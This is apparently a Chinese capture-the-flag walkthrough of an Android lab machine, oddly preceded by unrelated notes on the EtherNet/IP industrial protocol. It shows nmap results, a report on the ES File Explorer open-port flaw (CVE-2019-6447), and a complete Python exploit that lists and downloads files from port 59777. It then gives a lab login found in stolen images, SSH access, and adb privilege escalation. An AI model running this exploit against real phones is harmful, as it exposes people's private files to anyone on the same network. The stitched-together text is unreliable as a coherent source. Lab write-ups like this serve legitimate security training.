EnterNet/IP:
设备可以用户数据报协议(UDP)的隐式报文传送基于IO的资料
,用户传输控制协议(TCP)显示报文上传和下参数,设定值,程式 ,用户主站的轮询
从站周期性的更新或是改变状态COS,方便主站监控从站的状态,讯息会使用UDP的报文发送出去
特性: EnterNet/IP
工业以太网组成的系统具有兼容性和互操作性,资源共享能力强和传输距离远,传输速率高优势
EtherNetIP在物理层和数据链路层采用以太网,可以与标准的以太网设备透明衔接,并保证随着以太网的发展,EtherNetIP也可以进一步扩展。EtherNetIP的网络层和传输层采用UDP协议传送实时性要求高的隐式报文,如面向控制的实时I/O数据,优先级较高;用TCP协议的流量控制和点对点特性通过TCP通道传输非实时性的显示报文,优先级较低
工作模式:
EtherNet/IP采用生产/消费模式,它允许网络上的节点同时存取同一个源的数据。在生产/消费模式中,数据被分配一个唯一的标识,每一个数据源一次性的将数据发送到网络上,其他节点选择性的读取这些数据,从而提高了系统的通信效率
**PORT STATE SERVICE VERSION**
**2222/tcp open ssh (protocol 2.0)**
**\| fingerprint-strings:**
**\| NULL:**
**\|\_ SSH-2.0-SSH Server - Banana Studio**
**\| ssh-hostkey:**
**\|\_ 2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)**
**37779/tcp open unknown**
**42135/tcp open http ES File Explorer Name Response httpd**
**\|\_http-server-header: ES Name Response Server**
**\|\_http-title: Site doesn't have a title (text/html).**
**59777/tcp open http Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or
older**
注释:
ES fileexplorer实际上是Android上的文件管理器。然而,随着时间的推移,它被证明不那么可信。最近的一个漏洞提醒我们为什么现在有更好的选择。
据AndroidPolice报道,ES中存在一个新的漏洞,它将你的文件暴露给同一网络上的任何人,你只需打开一次应用程序。这个bug是通过研究Elliot
Alderson发现的,他在Twitter上发布了相关信息。
With more than 100,000,000 downloads ES File Explorer is one of the most
famous #Android file
manager.
The surprise is: if you opened the app at least once, anyone connected to the
same local network can remotely get a file from your
phone https://t.co/Uv2ttQpUcN— Elliot Alderson (@fs0c131y) January 16,2019
显然,ES在启动后会让你手机上的端口59777保持打开状态,让同一网络上的任何人都可以访问文件结构和其他内容。攻击者可以使用该开放端口注入JSON负载,然后访问并下载您的所有信息。
\# Exploit Title: ES File Explorer 4.1.9.7.4 - Arbitrary File Read
\# Date: 29/06/2021
\# Exploit Author: Nehal Zaman
\# Version: ES File Explorer v4.1.9.7.4
\# Tested on: Android
\# CVE : CVE-2019-6447
import requests
import json
import ast
import sys
if len(sys.argv) \< 3:
print(f"USAGE {sys.argv[0]} \ \ [file to download]" )
sys.exit(1)
url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds =
['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
print("[-] WRONG COMMAND!")
print("Available commands : ")
print(" listFiles : List all Files.")
print(" listPics : List all Pictures.")
print(" listVideos : List all videos.")
print(" listAudios : List all audios.")
print(" listApps : List Applications installed.")
print(" listAppsSystem : List System apps.")
print(" listAppsPhone : List Communication related apps.")
print(" listAppsSdcard : List apps on the SDCard.")
print(" listAppsAll : List all Application.")
print(" getFile : Download a file.")
print(" getDeviceInfo : Get device info.")
sys.exit(1)
print("\\n==================================================================")
print("\| ES File Explorer Open Port Vulnerability : CVE-2019-6447 \|")
print("\| Coded By : Nehal a.k.a PwnerSec \|")
print("==================================================================\\n")
header = {"Content-Type" : "application/json"}
proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}
def httpPost(cmd):
data = json.dumps({"command":cmd})
response = requests.post(url, headers=header, data=data)
return ast.literal\_eval(response.text)
def parse(text, keys):
for dic in text:
for key in keys:
print(f"{key} : {dic[key]}")
print('')
def do\_listing(cmd):
response = httpPost(cmd)
if len(response) == 0:
keys = []
else:
keys = list(response[0].keys())
parse(response, keys)
if cmd in listCmds:
do\_listing(cmd)
elif cmd == cmds[9]:
if len(sys.argv) != 4:
print("[+] Include file name to download.")
sys.exit(1)
elif sys.argv[3][0] != '/':
print("[-] You need to provide full path of the file.")
sys.exit(1)
else:
path = sys.argv[3]
print("[+] Downloading file...")
response = requests.get(url + path)
with open('out.dat','wb') as wf:
wf.write(response.content)
print("[+] Done. Saved as \`out.dat\`.")
elif cmd == cmds[10]:
response = httpPost(cmd)
keys = list(response.keys())
for key in keys:
print(f"{key} : {response[key]}")
获取了一些图片,一张张查看会发现用户名密码,这也让我们知道渗透测试过程中任何信息都不能放过
4,直接登录到服务器,前面nmap扫描出来的结果告诉我们ssh端口是2222
username = kristi
password = Kr1sT!5h@Rp3xPl0r3!
5,成功登录查看权限
6,只是个普通权限,不堪重用,我们来试试提权,这个是个安卓机,完全不懂
不过查看了一会儿教程之后有点懂
这是adb提权,首先在kali安装apt-get install android-tools-adb
可能是这个adb工具不支持远程所以把ssh的连接转发在本地端口
然后用adb工具连接靶机
这样就是连接成功,然后提权
7,现在获取flag,结束战斗
补充: